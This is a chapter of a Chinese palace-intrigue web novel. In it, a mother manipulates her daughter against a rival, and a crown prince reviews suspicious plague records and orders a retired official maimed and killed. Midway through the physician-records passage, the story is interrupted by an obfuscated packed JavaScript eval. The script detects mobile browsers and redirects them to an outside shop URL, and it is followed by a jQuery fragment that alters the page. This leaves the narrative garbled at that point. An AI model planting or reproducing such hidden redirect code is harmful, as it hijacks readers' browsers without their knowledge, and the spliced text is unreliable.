见是沈云堇,柳氏立刻收回脸上凶恶的神情,她迅速上下打量了沈云堇一眼,见她只是清减了些许,满脸心疼道,“堇儿,你瘦了。”

    她特意在语气中加了一些欲语还休的味道,沈云堇本就满面泪痕,闻言,更是站在门口便掩面恸哭起来,哪里还有往日骄矜的面貌。

    柳氏连忙上前牵住她的手,引她坐在积了薄灰的长凳上,自己却站着,伸出双臂环住沈云堇的肩膀,痛惜道,“我的堇儿,这些天你受苦了。”

    沈云棠将脸伏在她的怀里,肩膀抖动得更加厉害。过了好一会儿,她才轻轻推开柳氏,两只眼睛通红,轻声问道,“娘亲你呢,近日过得怎么样?”

    见她哭得小脸通红,柳氏流畅地自袖中取出罗帕,轻轻点着沈云堇的脸颊,一点点拭去颊上的泪痕,一边道,“娘亲如今寄住在顾首辅那里,如今也是寄人篱下。唉,住在别人家,总归是比不得家里,处处都得谨小慎微,真是说不出来的苦。”

    沈云堇不置可否,哑声问道,“可是娘亲,我听说那顾首辅是顶顶正直的人,为了给娘亲讨个公道,还向皇上递了折子,要帮你同沈云棠打官司,是不是?”

    她的语气平淡,全然不似过去那个稍有受挫便大声尖叫怒骂的沈云堇。

    柳氏背上发麻,为她拭泪的手停了下来,温柔地用两手的手心扶住她的脸,“是,顾首辅和顾公子都惦念着你,才会为娘出头。这事是谁告诉你的?”

    “是以前经常到娘亲院里去的婆子,”沈云堇让自己的脸靠在柳氏的手上,歪头想了想,“好像是叫王什么……?”

    看来她院里出了不少见风使舵的东西。柳氏神色不动,仍扶着沈云堇,哀声道,“堇儿,顾首辅所做的一切都是为了让我们母女相见,你也觉得他是在多管闲事吗?”

    沈云堇连忙摇头,“怎么会?不把事情闹大一些,沈云棠的名声要如何摔得粉碎?娘亲,我只盼事情快些结束,我能回到过去那样的日子才好。”

    柳氏略微安心了一些,抚着她的背轻笑,“娘亲也是同堇儿一样的盼望。”

    沈云堇轻轻抚过柳氏摸过的脸颊,轻声道,“娘亲想让堇儿做什么,堇儿都会去做。只要能帮上娘亲的忙,堇儿便会全力以赴。”

    往日沈云堇若是受了委屈,必定要在柳氏面前发疯哭闹一场。柳氏原本预备着此次要先多花些时间安抚,没想到沈云堇竟然不哭也不闹,听她话中意思,似乎连自己托人传递的书信也认真看了,和过去相比强了不知多少倍。

    即便拿捏个沈云堇本就是十拿九稳的事,柳氏还是禁不住为此时的省事而感到喜出望外。

    她连忙抱紧了沈云堇,满怀爱怜,“娘的乖堇儿,你长大了,懂事了。”

    沈云堇也紧紧环抱住柳氏的腰,满眼依恋,“堇儿知道娘亲的苦衷,如今也明白了许多道理。”

    柳氏不说话,只抱紧了她。

    沈云堇在她怀里,面无表情地瞥了一眼沉默地守着门的婆子。

    在进屋前,这个阴沉沉的婆子低声同她说了一句话。

    “小姐,人不为己,天诛地灭,全天下都知道这个道理。”

    沈云堇也早已明白了这八个字的重量。

    想必娘亲也是明白的。

    那封信里,虽然洋洋洒洒写了不知多少行她们母女俩对付沈云棠的方针,可关于沈云堇未来何去何从,柳氏一字未提。

    ---

    平心而论,萧司珩觉得自己对沈云棠也没做什么出格的事情。

    所以在听到侍女汇报时,他难得感到了些许气闷。

    那日他虽然被沈云棠推出了门外,可她神情中只有恼羞成怒,并不像是受到了什么打击。

    怎么做噩梦流泪都成了他的错?

    萧司珩自顾自地生着闷气,前来日常汇报的侍女却恨不得将自己的脸与东宫的地砖贴得更紧一些,半点也不敢抬头。

    要知道上一个敢在太子殿下面前傻乎乎抬头看脸色的傻子早就被发配沈府了。虽然沈府也算不得什么坏去处,但谁能保证太子殿下今日心情好呢。

    她也不是没有八卦之心,放在别处,这种暧昧不清的少年心事是她最爱细品的故事,最好再来三两姐妹,一碟果子,两瓶果酒,几本话本,真是想想就美。

    可若故事的主角是太子殿下和沈小姐,那味道就变了。

    其实沈小姐是个极为宽容的人,对侍女仆人言行一概不放在心上,若不是说话神神叨叨的,还爱用太子殿下开玩笑和旁人逗乐,她都找不到沈小姐这上司有什么缺点。

    至于太子殿下……呃……太子殿下也是英俊潇洒博学多才足智多谋心细如发赫赫威名威震四方……

    总之,大概只有沈小姐会觉得殿下“其实人还挺好的”。

    萧司珩自然早已发现底下跪着的人不知神游天外到何处了。他派去跟着沈云棠的人同她待久了,似乎也染上了跟她一样爱发呆的毛病。

    不过这些细枝末节,倒也没必要揪着不放。

    他生着闷气不假,手中却是半点没慢下来,迅速将现今形势与重要情报列下,并写明一些对策,给沈云棠的回信就写完了。

    见萧司珩搁下笔,近侍便将一早准备好的关于审问柳氏心腹的汇报拿来,一并封入信封,交给跪在阶下等候的侍女。

    这报告萧司珩也过了一遍。其中大部分是柳氏心腹招认的各项恶行,余下的篇幅便是沈云昭越过他这个上司,对沈云棠嘘寒问暖的各种废话。他懒得细看,便直接略过了。

    兄妹之间相互关系倒也是无可厚非,只是沈云棠书信一向简短,只大略询问现状,极少写些肉麻之语,至于沈云昭,萧司珩更希望他写家书能够另起一封,他好顺手丢掉。

    因为他的个人兴趣,汇聚于东宫的各项密报都会汇总存档,以备翻阅。沈云昭这一出,弄得他一想到未来翻阅时要看多少沈氏家书,便有些提不起劲来。

    且将闲话抛去。如今关于公审一事,大半部分准备皆已铺设。余下来的,便是继续探听陈年旧事的消息。近日他在御医院时一时兴起,重翻了一些卷宗,倒是翻到了一些感兴趣的东西。

    在当年母妃将他送入御医院避祸前,那儿的人事似乎很是经过了一番变动。许多有名有姓的御医都因故请辞,或丁忧,或告老,或幼子失恃,短短一两年间,御医院除了少部分在皇家面前露了脸的,其他人竟陆续走了个干净,随即不知去向。

    萧司珩为此特意问了他的老师。谁知老医生冥思苦想,只记得当时走的人不少

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717022|203601||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,但补的人更多,补来的人来了又走,随后又补了更多人,人事上一团乱麻。

    老御医当初几乎一颗心全扑在医治今上的怪病上,极少回御医院修整,等回过神来,除了顶尖的那几位,其他医者小吏,并药材库看守的炮制的,几乎换了个干净。

    至于萧司珩极为关心的与十几年前的瘟疫相关的卷宗,更是只有只言片语留下。经手过这些卷宗的人,自然更是杳然无踪,致使这起祸害了整个中都数年的大瘟疫,竟连个官方的称呼都没有。

    萧司珩也将留下来的这些卷宗都看过一遍,其中多以记录病征表现为主,至于致病机理、染病媒介,居然都是潦草几字,含糊略过。

    卷宗中倒是偶有一些经过涂改的胡言乱语,惜字如金的记录者这时倒是不吝笔墨,长篇累牍地注释此为胡言乱语的原因为何。

    种种疑点,早已于时光之中被忘却。若非他有些爱翻故纸堆的怪癖,恐怕都看不明白沈云棠的暗示。

    既然如今他的一些猜测已与沈云棠漏出来的只言片语能够相互印证,剩下来的便是寻找物证了。

    只是这最关键的一件事,还是要废上不少功夫。

    想到物证,萧司珩却是想到另一件要事,转头问道,“那位前京兆尹大人怎么说?”

    近侍闻言,恭敬道,“回殿下,此人刚刚办完长子的丧事,听说回去一切玩乐照常,并未再有哀恸之举,可要让他把丧事继续办下去?”

    萧司珩问道,“此人余下两子的为人如何?”

    近侍回道,“此二人不受父亲宠爱,未有功名,也无袭爵,皆是白身。据说两人皆是性情温厚,与人友善,好钻研学问,风评与长子迥异。”

    “既然如此,便不必大材小用,”萧司珩道,“中都意外何其多,前京兆尹大人本人遇上几次,倒也算不得罕事。”

    近侍得令,又问道,“殿下,这前京兆尹,要给他留下什么好?”

    萧司珩略想了想,“听说他退隐之后,很是行了万里路,连我都听过他饱览天下美人,广集天下珍宝的壮举。”

    近侍不作声,听萧司珩示下。

    “既然如此,便让他先为自己这双腿办一场丧事吧。倒也不必给他留下什么,意外若是多遇上几次,不幸丧命也是难免的事。”

    萧司珩又想了想,“至于用利刃还是选钝刀,你自己把握。”

    近侍沉声应下。这老物是铁杆顾文渊派,对太子的传唤或是拜帖一直推三阻四,如今殿下要彻底除掉他,倒也算不得奇怪。

    于公而言,杀一个顾党铁杆老人以儆效尤,吓一吓借机躁动的其他人,倒也合情合理。

    只是一个官声极差的老头子,一旦隐退便没了权势,儿子也没有出息,以殿下平日的性子,杀了便是,何必做些费时费力的事呢?

    恐怕是殿下于私而言,想让沈小姐心里舒坦点,才会要他一步一步失去所有,最后再于惊惧之中送命。

    既然想通了这点,近侍无意劝谏,低头在心中盘算起办事的章程来。

    若放在以前,他还会担心以殿下这性子,别吓跑了心地仁善的沈小姐。

    如今看来,这位沈小姐非但不会吓跑,恐怕连这位前京兆尹大人的骨灰去向,都要提一些小巧思呢。